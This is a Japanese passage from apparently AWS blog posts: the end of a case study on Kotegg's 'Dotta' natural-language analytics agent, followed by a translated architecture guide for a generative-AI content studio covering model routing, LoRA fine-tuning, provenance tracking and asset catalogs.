S3）を暗号化し、機密性の高いデータを保護しています。AWS IAM による最小権限のアクセス制御を行い、マルチテナント環境ではテナント間のデータ分離を徹底しています。また、VPC 内のプライベートネットワークで内部通信を完結させ、外部への通信は NAT Gateway を経由させることで、安全な通信経路を確保しています。 信頼性 非同期ジョブは Amazon DynamoDB による二重実行ロックで重複起動を防ぎ、checkpoint による中断・再開に対応しています。SQS・Lambda・AgentCore などマネージドサービスを中心に構成することで、スケールと可用性を確保しています。 パフォーマンス効率 分析には高性能なモデル、軽量な処理には Claude Haiku 4.5 と、用途に応じて基盤モデルを使い分けることで応答性とコストのバランスを取っています。回答のストリーミングには Amazon ElastiCache（Valkey）を用いて低遅延を実現し、大量データのクエリには Apache Iceberg と Amazon Athena によるスケーラブルな分析基盤を採用しています。 コスト最適化 サーバーレス・マネージドサービスを中心に構成することで、利用量に応じたコストとしています。基盤モデルの適材適所での使い分けや、一時データを TTL で自動削除する仕組みにより、無駄なリソース消費を抑えています。 ビジネスインパクトと今後の展望 想定される効果（試算） 「Dotta」がもたらす効果は、何より “時間” として表れます。ここでは、1 名あたり 1 週間に 5 件の分析業務が発生するクライアントの事例をもとに、コーテッグ様による導入効果の試算を紹介します。 前提条件 1 件の分析業務（データ抽出 → 集計 → 可視化 → レポート化）に、従来は 1 名あたり平均 240 分を要していると仮定 「Dotta」では自然言語で問いかけることで、同じ分析を平均 10 分程度で完了できると想定 試算 1 件あたりの削減時間 ＝ 240 分 − 10 分 ＝ 230 分 1 名あたり週の削減時間 ＝ 230 分 × 5 件 ＝ 1,150 分（約 19.2 時間） 10 名のチームで月（4 週）換算すると、約 19.2 時間 × 10 名 × 4 週 ＝ 月あたり約 768 時間の削減 ※上記はあくまで前提条件を置いた試算であり、実際の効果はデータ量・分析内容・利用状況により変動します。 今後の展望 コーテッグ様は今後、以下の機能拡充を進めていく予定です。 データソース登録の AI エージェント化 対応データソースのさらなる拡充 可視化・レポート表現の高度化 「すべての人に、AI で分析力を。」——専門知識の有無にかかわらず、誰もがデータにもとづいて “その場で” 意思決定できる世界の実現に向けて、コーテッグ様の挑戦は続きます。 まとめ 本記事では、Amazon Bedrock AgentCore を中核とした非同期 AI エージェント基盤により、「聞くだけ」で分析が完結するプラットフォーム「Dotta」を実現した、コーテッグ様の事例を紹介しました。生成 AI-OCR による業務効率化（ 前回の事例 ）から、自律的な AI エージェント基盤へ——同社の取り組みは、生成 AI 活用のステージを一歩ずつ確実に進める好例といえます。 AI エージェントの本番運用に必要なランタイム・メモリ・アイデンティティ管理などをマネージドで提供する Amazon Bedrock AgentCore は、本事例のような長時間実行・非同期型のエージェント基盤の構築を強力に支援します。生成 AI や AI エージェントの活用にご興味をお持ちのお客様は、ぜひ AWS までお問い合わせください。 （左から） 大松 宏之 — アマゾン ウェブ サービス ジャパン合同会社　ソリューションアーキテクト 高石 明義 様 — 株式会社コーテッグ　代表取締役 古山 玄弥 — アマゾン ウェブ サービス ジャパン合同会社　アカウントマネージャー

この記事は 2026 年 8 月 4 日に公開された Guidance for an AI-Powered Studio on AWS を翻訳したものです。 生成 AI は、スタジオのプレミアムコンテンツ制作のあり方を根本から書き換えつつあります。映画品質の画像、動画、音声、3D アセットを生成できるモデルは日々更新されており、それらがもたらすクリエイティブな可能性には期待が高まるばかりです。具体的には、制作期間の短縮、予算内でできることの拡大、アーティストの創造性の解放、そして従来は資金面で実現困難だったストーリーの制作が可能になります。しかし、AI は高品質なコンテンツを自動的に生成する魔法のボタンではありません。AI は、熟練したストーリーテラーが活用することで、より速く、より高品質で、よりコスト効率の良いアウトプットの創出を支援し得る、非常に効率的なツールなのです。しかし、たとえ巧みに使いこなしたとしても、「モデルにはこれができる」と「制作チームがこれを納品できる」との間にはギャップがあり、まさにそこが不明瞭になりやすいポイントです。 AI モデルによるコンテンツ制作は日々容易になっていますが、依然として困難は残ります。どのモデルがどのアセットを作ったかの追跡、タスクの適切なモデルへのルーティング、ソースフッテージ (撮影素材) と生成メディアを共有カタログへの取り込み、予算の超過を伴わないクリエイティブな変更の反映、自社 IP を使った独自モデルの学習、そしてすべてのフレームに追跡可能かつ人間が関与した系譜 (リネージ、コンテンツの来歴) を残すこと——課題は尽きません。これらは制作インフラの課題であり、Amazon Web Services (AWS) はスタジオがクリエイティブな作業に集中できるよう、それらを解決するためのマネージドなビルディングブロックを提供します。 Amazon Web Services は、スタジオがクリエイティブな作業に集中できるよう、 これらの制作インフラの課題を解決するためのマネージドなビルディングブロックを提供します。 本ガイダンスでは、AI-Powered Studio (AI を活用したスタジオ)というコンセプトを紹介します。これは、上記の課題に対処するために設計されたプラットフォームアーキテクチャです。このアーキテクチャは、AI 生成コンテンツから価値を引き出すために必要な 5 つのコアな役割を軸に構成されています。 5 つの C Consistency (一貫性) — キャラクターやブランドにおいて、複数のショット、シーン、番組にわたって同じ見た目を安定して再現・制作できることが求められます。あるカメラアングルから別のアングルに切り替わっても、キャラクターや小道具の連続性を保つことは、視聴者の没入感を損なわないために不可欠です。 Context (コンテキスト) — キャラクターやブランドの一貫性は、一枚のビジュアルが生成される前の段階にあるアイデアやデザインから生まれます。すべてはストーリーから始まるのであって、画像単体からではありません。コンテキストこそが、一貫性を築くための土台です。 Control (コントロール) — フレームの他の部分に影響を与えることなく、正確かつ的を絞った編集ができる能力です。ひとつのオブジェクトを変更するだけでショット全体が再構築されてしまうようでは、アーティストはクリエイティブの主導権を失い、ワークフローは遅く予測不能なものになります。 Compliance (コンプライアンス) — 制作で使用するツールや IP が法的にクリアされていることを保証するには、AI のスピードに対応できるようプロセスの改善が必要です。さらに、IP 所有権の要件を満たすために、コンテンツの来歴を厳密に追跡できるよう拡張しなければなりません。 Cost (コスト) — AI によるコンテンツ生成が従来の方法よりコストがかかるなら、導入するビジネス上の理由はありません。スタジオには、予期しない請求額に膨張しないよう、明確なコスト可視性と支出コントロールが必要です。 本ガイダンスにおけるすべてのアーキテクチャの決定は、これらの役割を果たすためのものです。続くセクションでは、モデル非依存のルーティング、ビジュアル一貫性の手法、構造化されたコンテキスト、来歴の記録、そして統一アセットカタログが、それぞれどのようにこれらの役割の実現に貢献するかを説明します。 AI 対応スタジオが直面する共通の課題 AI 制作は本質的にマルチモデルであり、モジュール型のオーケストレーションが必要 — 最高の動画モデルが最高の画像モデルとは限らず、最高の画像モデルが最高の音声モデルとも限りません。しかもこの状況は常に変化しています。商用 SaaS とオープンソースソリューション間の競争環境 (どちらも頻繁にリーダーシップの入れ替えが発生) は、画期的な機能がすぐにコモディティ化することを意味し、単一のツールに長期的にコミットすることはリスクを伴います。この流動性ゆえに、スタジオは「どのモデルが最良か」という問いに事前に答えようとするよりも、アーティストがその時々で最適なモデルを活用できるようにする方法に注力すべきです。本ガイダンスは、クリエイティブチームがプロバイダーを横断して最適なモデルにアクセスし、パイプラインを書き換えることなく必要に応じてモデルを切り替えるプロセスを効率化する仕組みを提示します。 ML プラットフォームチームなしでの独自モデルの学習 — キャラクターデザイン、環境、モーションスタイルなどのスタジオ独自の IP でモデルをファインチューニングすることは、汎用モデルでは実現できないビジュアルの一貫性を保持することで大きな価値を生みます。しかし、ファインチューニングされたモデルをクリエイターの手に届けるまでの技術的ハードルは高く、GPU 基盤、ML エンジニアリングの専門知識、バージョニング、サービングパイプラインが必要です。クリエイティブワークは本質的に反復的であるため、これは一回限りの英雄的な取り組みであってはなりません。再現可能なセルフサービスの仕組みでなければなりません。アーティストは、チケットを発行したり ML-Ops チームを待つことなく、ファインチューニングをトリガーし、結果を検証し、再学習し、更新されたモデルをデプロイできる必要があります。現状、このワークフローを構築するのは複雑なエンジニアリングプロジェクトです。だからこそ、ファインチューニングはアクセスしやすく使いやすいものでなければならず、AI-Powered Studio はそれをすぐに使える状態で提供する必要があります。 アセットの来歴 (プロベナンス) 管理はデリバリーゲート — スタジオは、AI の使用が自社制作物の著作権が認められなくなるのではないかと懸念しており、コンテンツの来歴を追跡するため、すべてのアセットに対して改ざん不可能な制作履歴の記録 (どのモデル、どのパラメータ、どの入力リファレンス、どの人的修正が行われたか) を強制する手段を模索しています。現状、こうした記録は存在しないか、場当たり的に管理されているに過ぎません。スタジオに必要なのは、事後に再構成するのではなく、アーティストの作業中に自動的かつ強制的に記録が行われる仕組みです。来歴管理が手動プロセスであればスケールしません。クリエイティブプロセスに内在していなければならないのです。だからこそ、制作の一部として来歴を扱うガバナンスレイヤーが不可欠です。 コンテンツのアクセシビリティ — 実写制作では、セットで撮影されたフッテージ (デイリーズ／ラッシュ、プレート／実写撮影素材、リファレンスフレーム／基準フレーム) が生成され、下流の AI ワークフローがそれを活用する必要があります。プレートのライティングに合った新しい環境を生成したり、AI キャラクターを実写シーンに合成したりするには、そのフッテージにアクセスできなければなりません。ソース素材が生成出力とは異なるシステムにある場合、アーティストはカタログの照合やファイルの移動に時間を浪費し、制作に充てる時間が失われます。だからこそ、安全でアクセス可能な場所にコンテンツを集中させることがプロセスの基盤となる必要があるのです。 プロダクションスケールでのワークフロー管理 — 1 つの番組は 1 つの生成リクエストではなく、映画、シーズン、エピソード、部門、レビューサイクルにまたがる数百から数千のリクエストによって作られます。スタジオには構造化されたプロジェクト状態、ロールバック付きバージョニング、依存関係追跡、承認チェーンが必要です。生成レイヤーはこれらのシステムの外側に存在するのではなく、それらに接続されるべきです。これが、ワークフローの各ステップが同一のマネージドプラットフォームを経由すべき理由です。 AI 支援制作の反復的な性質 — クリエイティブプロセスは本質的に反復的です。1 回の生成で納品可能なアウトプットが得られると期待すべきではありません。AI を活用した制作現場からのフィードバックによると、チームは 1 ショットあたり平均 2 〜 10 個の異なる AI モデルを利用しています。複数回の処理、複数のモデル、複数回の生成はコンテンツ制作プロセスの一部です。だからこそ、プラットフォームはこの反復をネイティブにサポートする必要があります。処理をまたいだバージョンの追跡、ある処理は画像モデルに通し次の処理は動画モデルに通すといった柔軟なルーティング、そして手作業の記録管理に頼ることなくすべての来歴を一貫して維持できる仕組みが求められます。 これらの課題は複合的です。モデルルーティングを解決しても来歴管理が未解決であれば、制作スピードは上がってもマネタイズできないリスクを抱えます。モデルの学習を解決してもアセット管理を解決しなければ、ファインチューニング済みモデルが生成したアウトプットを誰も見つけられません。最大の価値は、これらを単一のプラットフォーム上で、差別化に繋がらない運用負荷なしにスケールするインフラの上でまとめて解決することにあります。 AI-Powered Studio：コンセプチュアルアーキテクチャ AI-Powered Studio の中核は、 Amazon API Gateway 、 AWS Lambda 、 Amazon DynamoDB などのサービスを活用したサーバーレスのオーケストレーションアプリケーションです。クリエイターや管理チームがアプリケーションにアクセスできるようにする Web UI レイヤーが構築されていること、またモデル呼び出しを処理する推論エンジンレイヤーが利用可能であることを前提としています。このアーキテクチャを特徴づけるのは、生成 AI 制作特有の要求に踏み込んでいる点です。具体的には、複数のモデルバックエンドへのルーティング、学習と推論の疎結合な受け渡し、そしてドキュメントの欠如が納品の障壁にならないよう来歴を自動的に記録する仕組みです。以降のセクションでは、これらの設計判断について詳しく説明します。 図 1: AWS 上の AI-Powered Studio のリファレンスアーキテクチャ 設定によるモデル非依存のルーティング AI-Powered Studio は、ルーティングレイヤーで2つの目的を果たします。第一に、異なるモデルバックエンドに対してアーティストやパイプラインがやり取りの方法を統一する、共通の API サーフェスとのインターフェースを提供します。モデルへのアクセスは Amazon Bedrock 経由、サードパーティ API 経由、またはセルフホストのエンドポイント経由のいずれでも可能です。プラットフォームが認証方式、パラメータ仕様、出力形式の違いを吸収するため、あるプロバイダーから別のプロバイダーへの切り替えにあたって、その上に構築されたクリエイティブツールを変更する必要はありません。第二に、最適なモデルが明確なタスクタイプに対してはオプションの自動ルーティング (例：テキスト分析は常に LLM にルーティング) を可能にしつつ、クリエイティブな判断が重要な場合にはアーティストがモデルを明示的に選択することも可能にします。どちらの動作もアプリケーションコードではなく設定により制御できます。 AWS AppConfig を使用すれば、モデルごとのランタイム設定 (パラメータ、エンドポイントターゲット、選択ロジック) をマネージド設定として保持でき、コード変更なしにデプロイし、問題が発生した場合は安全にロールバックできます。これはガバナンスの仕組みでもあります。プロダクションリーダーシップに、クリエイティブの速度を制限することなく、モデルの利用可否、許容されるパラメータ、ルーティングタスクの可視性と制御を提供します。 これにより、モデルの切り替えは開発リリースではなく、設定のデプロイで実現できます。カタログへの新モデルの追加、特定のタスクタイプの任意のモデルへのルーティング、手動選択用の新モデルの有効化は、スプリント単位ではなく当日中に実装できます。モデルリリースのペースを考えると、先月の最先端を使うか今月の最先端を使うかは大きな差になり得ます。一般的な実装では、ルーティングは以下の 3 種類のバックエンドに分岐します。 Foundation language models (基盤言語モデル) — スクリプトをシーンに分解し、ショットを記述するために使用されます。Amazon Bedrockは単一の API を通じて高性能な基盤モデル (FM) の選択肢を提供するため、プラットフォームは GPU インフラのプロビジョニングや管理を行うことなく、タスクに最適な基盤モデルにアクセスできます。Amazon Bedrock はリクエスト量に応じて弾力的にスケールするため、開発中の少数のスクリプト分解からエピソード制作の繁忙期における数千件の処理まで、キャパシティプランニング、リザーブドインスタンス、スプリント間のアイドル GPU なしに対応できます。 画像、動画、音声、3D 生成 — AWS パートナーやモデルアグリゲーター (例：fal.ai) を通じて、統一された API 呼び出しで生成モデルにアクセスできます。生成された出力は顧客の Amazon Simple Storage Service (Amazon S3) バケットに直接書き込まれるため、他のすべてのアセットと同じ下流のアセットパスに合流します。 セルフホストモデル — AWS は、 Amazon Elastic Compute Cloud (EC2) 、 Amazon SageMaker 、 AWS Deadline Cloud など、GPU ベースのインフラ上でオープンソースおよびカスタムモデルをホストする複数の方法を提供しています。Deadline Cloud はバッチコンピューティングおよびレンダリング管理を簡素化するフルマネージドサービスであり、スタジオ固有の IP でファインチューニングされたモデルをマネージド GPU 上で推論実行することが可能です。この手法は、学習データとモデルをスタジオの管理下に置く必要があるタスクに適しています。ComfyUI などの業界標準ソフトウェアは、EC2 インスタンス や Amazon Elastic Kubernetes Service (EKS) コンテナにデプロイでき、アプリケーションレイヤー (アーティストインターフェース) またはコンテンツ生成サービスオーケストレーターとして機能し、プロフェッショナルチームにきめ細かい制御を提供します。 図 2: バックエンドの生成タスクに利用可能な複数のモデルを表示する、モデル選択・ルーティングインターフェースの例 ビジュアル一貫性の実現：ファインチューニングとリファレンスコンディショニング 制作における生成物は、確立されたクリエイティブビジョンと一貫していなければなりません。承認済みのキャラクターデザイン、環境のスタイル、モーション言語と、すべてのショットで一致している必要があります。事前学習済みモデルでこの一貫性を実現する主要な手法は 2 つあり、よく設計された AI-Powered Studio は、どちらか一方を優位に位置づけるのではなく、補完的なワークフローの選択肢として両方をサポートすべきです。 Low-Rank Adaptations (LoRA) によるファインチューニング は、軽量なモデル特化の学習を行い、モデルに対象の分散的な概念を与えるアーティファクトを生成します。優れたアイデンティティ LoRA とは、モデルが単に開始画像を参照するのではなく、対象の完全な 3D アイデンティティを内在化していることを意味し、これにより新しいポーズ、ライティング条件、構図にわたって一貫した生成が可能になります。トレードオフとして、ファインチューニングにはこれらのアーティファクトを生成・バージョン管理するための初期コンピュートリソース、時間、ML オペレーションの専門知識が必要です。Amazon SageMaker AI がトレーニングインフラを管理し、生成された LoRA アーティファクトをバージョン管理されたアセットとして Amazon S3 に保存します。SageMaker AI や Deadline Cloud などの AWS コンピュートサービスが、これらのアーティファクトを使用したオンデマンド推論を可能にします。 リファレンスコンディショニング は、推論時にリファレンスとなるビジュアルや画像をモデルに渡す手法です。リファレンスコンディショニングは、画像生成・動画生成の両方において一貫性を実現する補完的なアプローチを提供します。モデルに対象を学習させるのではなく、アーティストが承認済みのリファレンス画像をアセットカタログから取得し、プロンプトとともに生成モデルに渡します。メリットとしては、初期コストの低減 (学習が不要)、本番投入までの時間短縮、完全な監査可能性 (すべての入力画像が来歴管理チェーンで追跡可能)、そしてモデルが学習した近似値ではなく実際のリファレンスを見ているため、繰り返し登場するキャラクターやオブジェクトに対してより正確なディテールの再現が期待できる点が挙げられます。トレードオフとしては、リファレンスコンディショニングは生成リクエストごとにより多くのコンピュートリソースを消費します。モデルが各呼び出し時にリファレンス画像を処理する必要があるためです。対照的に、LoRA ベースの生成はトレーニング完了後の推論あたりのリソース消費が大幅に少なくなります。 Video Retrieval-Augmented Generation (v-RAG) と呼ばれるもう一つのオプションは、動画固有の手法で、Retrieval-Augmented Generation (RAG) を使用してインデックス化されたコンテンツからモデルが自動的にリファレンスビジュアルを選択し、推論時に生成モデルに渡します。 実際の運用では、ファインチューニングとリファレンスコンディショニングのどちらを選ぶかは、技術的な優劣ではなく、クリエイティブワークフロー上の判断です。数百ショットに登場する主要キャラクターには LoRA を使い (トレーニングコストを償却)、登場頻度の低いサブ要素にはリファレンスコンディショニングを使うプロダクションもあるでしょう。監査可能性のメリットから v-RAG を主に活用するケースもあるかもしれません。AI-Powered Studio は両方をシームレスにサポートすべきです。ファインチューニングの ML オペレーションの複雑さを使いやすいインターフェースの背後に抽象化し (アーティストが MLOps チームなしでも LoRA を作成できるように)、同時にアセットカタログと統合された堅牢なリファレンス画像検索パイプラインも提供する。プラットフォームがこの判断をクリエイティブな選択にするのです。​ ショット一貫性のための構造化コンテキスト 構造化されたシーンコンテキストは、ビジュアル一貫性のアプローチが正しいロケーション、正しい衣装、正しい小道具、正しいライティングの下で成果物を生成することを保証します。アセット、環境、キャラクターのビジュアル一貫性にとどまらず、シーン内のショット一貫性 (アングル、ライティング、ビジュアルランゲージなど) を実現するには、コンテキストを最優先の設計課題として構造的なアプローチで扱う必要があります。本ガイダンスでは、構造化された分解によるアプローチを推奨します。スクリプトまたはストーリーから始め、それをシーンに、さらにショットに分解します。各シーンについて、関連するロケーション、キャラクター、小道具を特定します。これらの要素はそれぞれ、システム内の再利用可能なコンテキストオブジェクトとなり、リファレンス画像、テキスト記述、制約条件を備え、それらが関わるすべての生成リクエストに情報を提供します。 この階層の各レイヤーにはリファレンス素材が必要です。キャラクターには、外見、衣装、ヘアスタイル、歩き方、仕草、表情の幅といった側面をカバーする詳細なビジュアル・テキスト記述が必要な場合があります。小道具には、サイズ、重さ、素材、スタイルなどの記述が求められます (例：「緑色の金属製シャベル、ハンドル約 24 インチ」)。ロケーションには、ライティングリファレンス、カラーパレット、空間的な位置関係が必要です。このコンテキストが精密かつ構造化されているほど、それを共有するすべてのショットにわたって生成物の一貫性が高まります。ビジュアルリファレンスの作成は、スクリプトから詳細を抽出し画像を自動生成することで自動化できるケースもあります。一方で、アーティストやデザイナーがプラットフォーム内でこれらの詳細を定義し、画像生成を主導するインプットを行うケースもあります。どちらの方法を使うかはクリエイティブな判断であり、堅牢なプラットフォームは両方の方法をサポートすべきです。 コンテキストがプラットフォーム内で決定・記録されれば、ショット、シーン、エピソード、さらにはシーズンをまたいだ一貫性の確保がより容易になります。すべての生成リクエストが関連するコンテキストを自動的に継承します。「シーン 4 のショット 12」に対するリクエストは、そのシーンのロケーション記述、登場するキャラクター (ビジュアルおよび行動に関する完全な記述を含む)、関連する小道具を自動的に取得し、アーティストがそれらを再指定する必要はありません。 AI-Powered Studio のアーキテクチャは、3 つのレイヤーすべてをサポートします。学習されたビジュアルアイデンティティのためのモデルカスタマイゼーション、根拠のあるディテール精度を実現するためのリファレンス検索、そして物語と環境の一貫性のための構造化されたプロジェクト状態管理です。 ワークフローの副産物として取得される来歴 すべてのアセットがどのように作られたか (どのモデル、どの入力、誰の編集) を正確に把握しておくことは、納品時に重要です。この詳細な記録は、法務・コンプライアンス担当チームに対し、契約上のコンプライアンスと利用可能性を評価するために必要な情報を提供します。本アーキテクチャは、その記録を作業の副産物として自動的に生成するものであり、アーティストが締め切りのプレッシャーの中で忘れたり省いたりしがちな、独立した工程にはしません。これこそが、コンテンツの来歴とコンテンツの主権が存在する場所であり、すなわち、自社の制作が承認されたツールを用い、追跡可能なプロセスに従ったことを証明できる能力に他なりません。 本アーキテクチャは、生成時に自動的に取得される不変の来歴証跡を DynamoDB に保存します。すべてのアセット記録は、その完全な系譜を保持します。すなわち、どのモデルを、どのバージョンで、どのパラメータで、どの入力参照をもとに用い、どの人間による修正が適用されたか、です。このメタデータは生成時、つまり API 呼び出しの時点で付与され、個別のロギング工程を必要としません。来歴がクリエイティブ・ワークフローの副産物であり手作業によって後から再構築されるものではないため、専任の人員を割くことなく 1 シーズンにわたる数千点のアセットへとスケールし、クリエイターに追加の時間や労力を求めることもありません。 エージェントは、来歴が適切に取得・記録され、一貫してセキュアに保たれることを担保する優れた手段です。Amazon Bedrock AgentCore では、エージェントにその目的と振る舞いを定義する指示を与え、次に特定のツールやリソースへと接続します。これにより、単一のエージェントが、システム間に独自のコードを用意することなく、自社のランドスケープ全体を横断して推論できるようになります。同時に AgentCore では、エージェントが実行できる内容を制約するガードレールとポリシーを設定できます。その結果として得られるのは、スタック全体にわたって作業をオーケストレーションできるだけの能力を備えながらも、明示的に許可したアクションとデータのみに限定されたエージェントです。 図 3: 生成アセットの監査証跡 (モデル、パラメータ、入力リファレンス、人間による編集) を示す来歴 (プロベナンス) と系譜 (リネージ) のビュー ソースフッテージと生成アウトプットのための統合アセットカタログ AI 生成は、ソース素材を直接参照できるときに最も効果を発揮します。「このプレートの照明に合わせて新しいカメラアングルを生成する」といったリクエストでは、そのプレートがメタデータを備えた第一級のアセットであり、生成物と同じインターフェースで検索でき、同じ識別子でアドレス指定できる必要があります。統合カタログは複数の原則を同時に満たします。すなわち、参照素材をあらゆる生成リクエストからアクセス可能にすることで一貫性を実現し、アセットをそれが属するシーンやプロジェクトに紐付けることでコンテキストを提供し、さらにソースフッテージと派生物とのあいだの系譜を維持しつつ、どのアセットが利用承認済みかを制御することで、コンプライアンスを支えます。 本アーキテクチャは、ソースフッテージと生成メディアを単一のアセット管理サービスに格納します。オンセットのフッテージは専用の Amazon S3 インジェストバケットにアップロードされ、そこでハンドラが識別子とカメラメタデータを、生成物が格納されるのと同じ DynamoDB ベースのカタログに登録します。「シーン12、テイク 3」を検索するアーティストは、オリジナルのプレート、AI が生成した背景差し替え、合成結果、そしてバージョン管理されたすべてのイテレーションを一か所で見つけることができ、そのすべてにわたって共通の系譜が保たれています。 ゼロから構築することなく本番運用品質のアセット管理レイヤーを求めるスタジオ向けには、AWS パートナーが、このパターンへの API レベルでの統合を提供するアセット管理ソリューションを提供しています。 デジタルコンテンツ制作ツール (DCC ツール) との統合 従来のコンテンツ制作ワークフローは、Maya、Blender、Houdini、Cinema 4D、Nuke、DaVinci Resolve、Adobe Creative Suite をはじめとする、業界標準のデジタルコンテンツ制作 (DCC) ツールに依存しています。アーティストはこれらの環境において長年にわたる身体化された技能と専門性を培っており、ツールを捨てて新しいインターフェースへの乗り換えを強いるような AI プラットフォームは、導入を遅らせ、クリエイティブなアウトプットを制限する摩擦を生み出します。AI-Powered Studio はこれらの環境と統合し、エージェントを人間のメンバーと並ぶ協働的なクリエイティブチームの一員として扱うことで、それらの価値をさらに引き出します。 既存のコンテンツ制作ツールの多くは、現在では Model Context Protocol (MCP) をサポートするか、エージェント的な連携を可能にする堅牢な API を備えています。開発者が従来のコーディングと GUI ベースのツールを組み合わせられるのと同じように、スタジオプラットフォーム上の AI エージェントは、アーティストが使い慣れた環境のなかで彼らと並んで作業できます。エージェントは Blender や Houdini の中に直接プロジェクト構造、シーン、アセット階層を構築したり、完成した作業をプラットフォームのカタログへ取り込んだりでき、アーティストは GUI を通じて指示やフィードバックを与えます。ディレクターがシーンを自然言語で記述すると、プラットフォームがそれを複数のモデルにまたがる生成タスクへと分解し、出来上がったアセットを、アーティストが仕上げられる状態の DCC プロジェクトファイルへと送り込む——しかもアーティストがファイルを手動でダウンロード・リネーム・インポートする必要は一切ない、といったことも可能になります。同様に、アーティストが使い慣れたツールで自身の作業を完了してプラットフォームへエクスポートし直すと、統合レイヤーがそのハンドオフを来歴チェーンの一部として自動的に記録します。この系譜記録は、作業が AI 生成と従来のアーティストの手仕事とのあいだを流動的に行き来する場合でも、制作の各構成要素がどのように作られたかを反映します。 プラットフォームを構築するビジネスケース 専用の AI コンテンツ制作プラットフォームを構築することは一つの投資であり、しかも時間とともに複利的に価値を増していく投資です。個々の SaaS ツールは生成という課題をうまく解決しており、その多くは一貫性のためのインフラ、プロジェクトの文脈的な状態管理、きめ細かなクリエイティブ制御を、それぞれの境界の内側で提供しています。プラットフォームというアプローチは、その土台の上に立ち、これらの機能を単一のワークフローへと結びつけることで、コンプライアンス、来歴追跡、コストガバナンスを、後付けではなくネイティブな機能として実現します。その結果として得られるのは、クリエイティブな野心とともに成長していくシステムであり、タスクに最適なツールを統合する柔軟性を与えつつ、インフラを自ら所有することによってのみ得られる一貫性と制御を維持できるのです。 コスト： AI を活用したコンテンツ制作を模索している組織は、特定のワークフロー、とりわけプリビジュアライゼーション、コンセプトアート、環境生成、反復的なアセット開発において、測定可能なコスト削減を報告しています。しかしそうした削減は、コストが可視化され、制御可能である場合にのみ実現します。アーティストが計算コストへのフィードバックなしに反復を重ねる「暴走する再生成 (runaway regeneration)」は、AI が約束する削減効果を蝕みかねません。プラットフォームは、コストの透明性を提供しなければなりません。すなわち、生成にどれだけのコストがかかるかをプロジェクト単位・モデル単位・タスク単位で可視化し、スタジオが十分な情報に基づいてクリエイティブ上・予算上の意思決定を行えるようにする必要があります。専用プラットフォームへの先行投資はコストセンターではなく、コスト規律を保ちながら削減効果を獲得し、持続させるための仕組みなのです。 複利的に積み上がる効率性の向上： 純粋な生成コストにとどまらず、統合プラットフォームは、ばらばらのツールをつなぎ合わせることに伴う「統合税」を取り除きます。すなわち、インターフェース間のコンテキストスイッチ、モデルの出力と制作パイプラインとのあいだの手作業による受け渡し、重複したアセット管理、そしてベンダーが API を更新するたびに壊れる独自の統合を保守するために費やされるエンジニアリング時間、といったものです。これらの非効率性は、いずれも実際の労働コストを伴います。専用プラットフォームは、こうした問題を永続的に回避し続けるのではなく、構造的に取り除きます。 コンプライアンス： 自ら制御するプラットフォーム上でコンテンツが生成され、来歴が自動的に副産物として取得されることで、法務・コンプライアンス担当チームに対して、すべてのアセットがどのように作られたかについての完全な可視性を提供できます。プラットフォームは人間の意思決定を記録し、系譜を辿り、すべてのソースを文書化します。この透明性により、チームは第三者の SaaS 利用規約に依存することなくコンプライアンスを評価できるようになります。 コントロール： AI が生成したコンテンツが制作パイプラインに入ってくるにつれ、スタジオは、どのモデルを使うか、それらをどのようにパラメータ設定するか、そしてどのようなコンテンツを生成するかについて、中央集権的な制御を必要とします。専用プラットフォームは、それぞれ独自のアクセスモデルと利用規約を持つ、ばらばらの SaaS サブスクリプションの寄せ集めにガバナンスを後付けしようとするのではなく、そうした制御の面 (監査証跡、モデルの承認、利用ポリシー、ガードレール) をネイティブに提供します。 モデルの移り変わりに対する将来への備え： 生成 AI の市場は急速に変化しており、今日の有力なベンダーが、一年のうちに買収されたり、提供終了になったり、他に追い抜かれたりする可能性があります。自ら所有するプラットフォームであれば、自社のワークフロー、学習データ、来歴記録、アセットカタログは、どの単一モデルの盛衰にも左右されずに存続します。その時々で最良のワークフローを採用しつつ、それに縛られることがなくなるのです。 ISV のツールには価値がある、置き換えるのではなく統合する： ここまで述べてきたプラットフォーム構築の議論は、Runway、Luma、fal.ai、ComfyUI といった専門的な生成 AI サービスの価値を少しも損なうものではありません。これらのツールは、自らの領域において際立って優れています。画像・動画・3D 生成の最先端を押し広げており、個々のスタジオには到底再現できない規模でモデル研究に多額の投資を行っています。AI-Powered Studio は、複数のプラットフォームを互いに結びつけ、それらすべてに対して同時にガバナンスを提供するレイヤーです。これらの ISV の多くは堅牢な API と連携ポイントを提供しており、それらを自社のプラットフォームに組み込むことで、プラットフォームの能力はさらに広がります。すなわち、彼らの最高水準の生成能力を、来歴管理、ガバナンス、アセットカタログで包み込み、その成果を一か所に集約して手にすることができるのです。プラットフォームはこれらのツールと競合するものではありません。むしろ、それらを本番制作で使えるようになる理由そのものなのです。 この能力を今のうちに築いておくスタジオは、より多くのコンテンツを、より高い品質で、従来の何分の一かのコストで制作できる立場に立てます。しかも、作品を実際に世に送り出すために欠かせない一貫性・文脈理解・コントロール・コンプライアンス・コスト管理をきちんと備えた形で実現できるのです。 はじめるには ここまで説明してきたアーキテクチャは、一般提供されている AWS サービスを使用しており、そのパターンは、AI を制作プロセスに組み込んでコンテンツを生み出すあらゆるスタジオに適用できます。唯一の決まった実装方法があるわけではありません。最適な道のりは、チームの技術的な習熟度、制作規模、そしてスケジュールによって異なります。 ＜カスタム構築プラットフォーム＞ AWS およびパートナーは、メディア & エンターテインメントと ML エンジニアリングの豊富な経験を持ち、ランディングゾーンのセットアップから本番デプロイメントまで、ワークフローに合わせたカスタムプラットフォームの設計と構築をサポートできます。 AWS Professional Services AWS Systems Integrator Partners ＜マネージドプラットフォーム＞ AWS パートナーは、これと同じ AWS サービス上に構築されたフルマネージドのソリューションも提供しています。協働型のワークスペースとモデルに依存しない生成機能をすぐに使える製品として手に入れられるため、クリエイティブな作業そのものに集中できます。 これらのパートナーとの連携に関する推奨や支援、あるいはプラットフォーム構築に向けた追加のガイダンスについては、担当の AWS アカウントチームにお問い合わせください。 多くのスタジオは、上記の両方のアプローチを組み合わせています。すなわち、進行中の制作をすばやく前進させるためにマネージドプラットフォームを採用しつつ、時間をかけて独自の構成要素 (カスタムモデルや特注のワークフロー) に投資していく、という進め方です。 まとめ 生成 AI を取り巻く状況はめまぐるしく動いています。モデルは絶えず進化し、新しいプロバイダーが次々と現れ、クリエイティブチームはエンジニアリングの開発サイクルを待つことなく、すばやく導入したいと望んでいます。本ガイダンスで示すアーキテクチャパターンは、生成 AI をビジネス上の有効な選択肢たらしめる諸原則をしっかりと堅持しながら、そのスピードを御しやすいものにします。すなわち——あらゆるフレームにわたってブランドアイデンティティを保つ Consistency (一貫性) 、すべての生成を構造化されたクリエイティブな意図に根づかせる Context (コンテキスト) 